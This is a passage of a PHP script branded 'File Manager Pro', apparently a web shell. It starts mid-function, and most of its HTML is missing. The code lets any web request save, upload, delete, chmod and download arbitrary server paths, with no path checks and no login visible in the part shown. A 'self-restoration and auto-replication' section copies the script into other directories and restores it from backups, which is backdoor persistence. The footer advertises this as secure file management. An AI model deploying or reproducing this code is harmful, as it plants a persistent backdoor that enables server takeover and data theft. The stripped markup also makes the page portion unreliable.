= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } function get_file_icon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'jpg|jpeg|png|gif|svg|webp|ico' => '🖼️', 'pdf' => '📕', 'zip|rar|7z|gz|tar|bz2' => '📦', 'mp3|wav|flac|aac|ogg' => '🎵', 'mp4|avi|mkv|mov|wmv|flv' => '🎬', 'php' => '⚡', 'html|htm' => '🌐', 'css' => '🎨', 'js|ts|jsx|tsx' => '📜', 'json|xml|yaml|yml' => '📋', 'txt|log|md' => '📝', 'py' => '🐍', 'java' => '☕', 'c|cpp|h' => '⚙️', 'rb' => '💎', 'go' => '🐹', 'rs' => '🦀', 'sh|bash' => '💻', 'exe|msi' => '⚙️', 'doc|docx' => '📘', 'xls|xlsx' => '📊', 'ppt|pptx' => '📙', ]; foreach ($icons as $pattern => $icon) { if (preg_match('/' . $pattern . '/', $ext)) { return $icon; } } return '📄'; } function set_message($message, $type = 'success') { $_SESSION['fm_message'] = $message; $_SESSION['fm_message_type'] = $type; } // ============ SELF-RESTORATION & AUTO-REPLICATION ============ function get_self_filename() { return basename(__FILE__); } function get_self_content() { return file_get_contents(__FILE__); } function create_backup() { $backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup'; if (!file_exists($backup_file)) { copy(__FILE__, $backup_file); return true; } return false; } function restore_from_backup() { $backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup'; if (file_exists($backup_file)) { copy($backup_file, __FILE__); unlink($backup_file); return true; } return false; } function replicate_to_location($target_dir) { $target_file = rtrim($target_dir, '/') . '/' . get_self_filename(); if (!file_exists($target_file)) { copy(__FILE__, $target_file); chmod($target_file, 0755); return true; } return false; } function get_all_replicas() { $replicas = []; $pattern = dirname(__FILE__) . '/*/' . get_self_filename(); foreach (glob($pattern) as $file) { if (is_file($file) && realpath($file) !== realpath(__FILE__)) { $replicas[] = $file; } } return $replicas; } // ============ ZIP FUNCTIONS ============ function is_zip_file($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); return in_array($ext, ['zip', 'rar', '7z', 'gz', 'tar', 'bz2']); } function create_zip($source, $destination) { if (!extension_loaded('zip')) { return ['success' => false, 'message' => '❌ ZIP extension not loaded. Please enable php_zip extension.']; } if (!file_exists($source)) { return ['success' => false, 'message' => '❌ Source does not exist']; } $zip = new ZipArchive(); if ($zip->open($destination, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { return ['success' => false, 'message' => '❌ Failed to create ZIP file']; } $source = realpath($source); if (is_dir($source)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $file = realpath($file); if (is_dir($file)) { $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); } else if (is_file($file)) { $zip->addFile($file, str_replace($source . '/', '', $file)); } } } else if (is_file($source)) { $zip->addFile($source, basename($source)); } $zip->close(); return ['success' => true, 'message' => '✅ ZIP created successfully: ' . basename($destination)]; } function extract_zip($zip_file, $destination) { if (!extension_loaded('zip')) { return ['success' => false, 'message' => '❌ ZIP extension not loaded. Please enable php_zip extension.']; } if (!file_exists($zip_file)) { return ['success' => false, 'message' => '❌ ZIP file does not exist']; } if (!is_zip_file($zip_file)) { return ['success' => false, 'message' => '❌ Not a valid archive file']; } $zip = new ZipArchive(); if ($zip->open($zip_file) !== true) { return ['success' => false, 'message' => '❌ Failed to open archive file']; } // Create destination if it doesn't exist if (!is_dir($destination)) { mkdir($destination, 0755, true); } // Extract if ($zip->extractTo($destination) === true) { $zip->close(); return ['success' => true, 'message' => '✅ Extracted to: ' . basename($destination)]; } else { $zip->close(); return ['success' => false, 'message' => '❌ Failed to extract archive']; } } function handle_ajax_action($action) { global $base_path; try { switch ($action) { case 'upload': if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) { return ['success' => false, 'message' => 'Upload failed: ' . $_FILES['file']['error']]; } $target = $base_path . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { chmod($target, 0644); return ['success' => true, 'message' => '✅ File uploaded successfully: ' . basename($_FILES['file']['name'])]; } return ['success' => false, 'message' => '❌ Failed to move uploaded file']; case 'folder': $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if (empty($name)) return ['success' => false, 'message' => '❌ Name required']; if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) { return ['success' => false, 'message' => '❌ Invalid folder name']; } $path = $base_path . '/' . $name; if (file_exists($path)) return ['success' => false, 'message' => '❌ Already exists']; if (mkdir($path, 0755)) { return ['success' => true, 'message' => '✅ Folder created: ' . $name]; } return ['success' => false, 'message' => '❌ Failed to create folder']; case 'file': $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if (empty($name)) return ['success' => false, 'message' => '❌ Name required']; if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) { return ['success' => false, 'message' => '❌ Invalid file name']; } $path = $base_path . '/' . $name; if (file_exists($path)) return ['success' => false, 'message' => '❌ Already exists']; if (file_put_contents($path, '') !== false) { chmod($path, 0644); return ['success' => true, 'message' => '✅ File created: ' . $name]; } return ['success' => false, 'message' => '❌ Failed to create file']; case 'save': $path = isset($_POST['path']) ? $_POST['path'] : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; if (empty($path)) return ['success' => false, 'message' => '❌ Path required']; if (file_put_contents($path, $content) !== false) { return ['success' => true, 'message' => '✅ File saved: ' . basename($path)]; } return ['success' => false, 'message' => '❌ Failed to save file']; case 'rename': $path = isset($_POST['path']) ? $_POST['path'] : ''; $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if (empty($path) || empty($name)) return ['success' => false, 'message' => '❌ Missing parameters']; if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) { return ['success' => false, 'message' => '❌ Invalid name']; } $new_path = dirname($path) . '/' . $name; if (file_exists($new_path)) return ['success' => false, 'message' => '❌ Target already exists']; if (rename($path, $new_path)) { return ['success' => true, 'message' => '✅ Renamed to: ' . $name]; } return ['success' => false, 'message' => '❌ Failed to rename']; case 'chmod': $path = isset($_POST['path']) ? $_POST['path'] : ''; $perms = isset($_POST['perms']) ? $_POST['perms'] : ''; if (empty($path) || empty($perms)) return ['success' => false, 'message' => '❌ Missing parameters']; if (!preg_match('/^[0-7]{4}$/', $perms)) { return ['success' => false, 'message' => '❌ Invalid permissions format']; } $perms = octdec($perms); if (chmod($path, $perms)) { return ['success' => true, 'message' => '✅ Permissions changed to: ' . decoct($perms)]; } return ['success' => false, 'message' => '❌ Failed to change permissions']; case 'delete': $path = isset($_POST['path']) ? $_POST['path'] : ''; if (empty($path)) return ['success' => false, 'message' => '❌ Path required']; if (delete_recursive($path)) { return ['success' => true, 'message' => '✅ Deleted: ' . basename($path)]; } return ['success' => false, 'message' => '❌ Failed to delete']; // ============ ZIP ACTIONS ============ case 'zip': $path = isset($_POST['path']) ? $_POST['path'] : ''; $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if (empty($path)) return ['success' => false, 'message' => '❌ Path required']; // Generate zip name if not provided if (empty($name)) { $name = basename($path) . '.zip'; } // Ensure zip extension if (strtolower(pathinfo($name, PATHINFO_EXTENSION)) !== 'zip') { $name .= '.zip'; } $destination = dirname($path) . '/' . $name; // Check if already exists if (file_exists($destination)) { return ['success' => false, 'message' => '❌ ZIP file already exists']; } $result = create_zip($path, $destination); return $result; case 'unzip': $path = isset($_POST['path']) ? $_POST['path'] : ''; if (empty($path)) return ['success' => false, 'message' => '❌ Path required']; if (!file_exists($path)) return ['success' => false, 'message' => '❌ File does not exist']; // Check if it's a zip file if (!is_zip_file($path)) { return ['success' => false, 'message' => '❌ Not a valid archive file']; } // Create extraction folder name (remove extension) $extract_name = pathinfo($path, PATHINFO_FILENAME); $destination = dirname($path) . '/' . $extract_name; // If destination exists, add a number $counter = 1; $original_destination = $destination; while (file_exists($destination)) { $destination = $original_destination . '_' . $counter; $counter++; } $result = extract_zip($path, $destination); return $result; // ============ SELF-RESTORATION & AUTO-REPLICATION ============ case 'create_backup': if (create_backup()) { return ['success' => true, 'message' => '✅ Backup created successfully']; } return ['success' => false, 'message' => '❌ Backup already exists or failed to create']; case 'restore_backup': if (restore_from_backup()) { return ['success' => true, 'message' => '✅ Restored from backup']; } return ['success' => false, 'message' => '❌ No backup found']; case 'replicate': $target_dir = isset($_POST['target_dir']) ? trim($_POST['target_dir']) : ''; if (empty($target_dir)) return ['success' => false, 'message' => '❌ Target directory required']; if (!is_dir($target_dir)) return ['success' => false, 'message' => '❌ Target directory does not exist']; if (replicate_to_location($target_dir)) { return ['success' => true, 'message' => '✅ Replicated to: ' . $target_dir]; } return ['success' => false, 'message' => '❌ Already exists in target location']; case 'get_replicas': $replicas = get_all_replicas(); return ['success' => true, 'message' => 'Found ' . count($replicas) . ' replicas', 'data' => $replicas]; default: return ['success' => false, 'message' => '❌ Unknown action']; } } catch (Exception $e) { return ['success' => false, 'message' => '❌ Error: ' . $e->getMessage()]; } } function delete_recursive($path) { if (!file_exists($path)) return true; if (!is_dir($path)) return unlink($path); $files = array_diff(scandir($path), ['.', '..']); foreach ($files as $file) { delete_recursive($path . '/' . $file); } return rmdir($path); } function handle_file_action($action) { global $base_path; switch ($action) { case 'download': $file = isset($_GET['file']) ? $_GET['file'] : ''; if (empty($file) || !file_exists($file) || is_dir($file)) { set_message('❌ File not found', 'error'); header('Location: ?path=' . urlencode($base_path)); exit; } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; case 'edit': $file = isset($_GET['file']) ? $_GET['file'] : ''; if (empty($file) || !file_exists($file) || is_dir($file)) { echo 'File not found'; exit; } if (!is_readable($file)) { echo 'File is not readable'; exit; } if (filesize($file) > 1024 * 1024) { echo 'File too large to edit (max 1MB)'; exit; } $content = file_get_contents($file); echo htmlspecialchars($content); exit; default: set_message('❌ Unknown action', 'error'); header('Location: ?path=' . urlencode($base_path)); exit; } } // ============ HTML OUTPUT ============ ?> File Manager Pro - Ultimate
📁

File Manager Professional File Management

v3.0
📂 Items
🗂️ Folders
📄 Files
📍 Current Path
🏠 Root $part) { if (empty($part)) continue; $cumulative .= '/' . $part; $is_last = ($index === count($parts) - 1); echo ''; if ($is_last) { echo '' . htmlspecialchars($part) . ''; } else { echo '' . htmlspecialchars($part) . ''; } } ?>
🔍
📦 items
🚫
Directory Not Accessible
Please check permissions or enter a valid path
'; } else { $items = scandir($base_path); $files = $folders = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $base_path . '/' . $item; if (is_dir($path)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders); sort($files); $all_items = array_merge($folders, $files); if (empty($all_items)) { echo '
📂
This Directory is Empty
Upload files or create new folders to get started
'; } else { ?>
Name Size Modified Permissions Actions
File Manager Pro v3.0 · WooCommerce Style Interface · 🔒 Secure File Management · 🔄 Self-Restoration & Auto-Replication

📄 Title